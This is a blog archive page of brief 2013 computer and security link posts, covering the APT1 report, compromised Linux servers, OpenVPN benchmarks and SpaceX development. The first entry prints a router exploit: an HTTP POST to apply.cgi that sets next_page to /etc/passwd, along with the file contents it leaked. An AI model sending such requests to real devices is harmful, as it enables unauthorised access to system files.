Archive for the 'Computers' Category
Sunday, April 14th, 2013
the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…
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Sunday, March 24th, 2013
interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]
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Sunday, March 24th, 2013
interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]
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Wednesday, March 20th, 2013
paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read
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Wednesday, March 20th, 2013
paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read
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Wednesday, February 20th, 2013
report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…
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Wednesday, February 20th, 2013
report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…
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Tuesday, February 19th, 2013
http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.
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Tuesday, February 19th, 2013
http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.
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Thursday, January 10th, 2013
Notes about OpenVPN performance testing. Results, in short: easy to saturate 100Mbit network on common hardware. Possible to do a near wire-line speed on 1Gbit network (needs recent version of openssl-1.0a, fresh intel CPU that does AES in hardware …
Posted in 10G, AES, AES-NI, benchmark, intel, network, openvpn, performance, Security, shortcut:openvpn, testing, vpn | Comments Off | permalink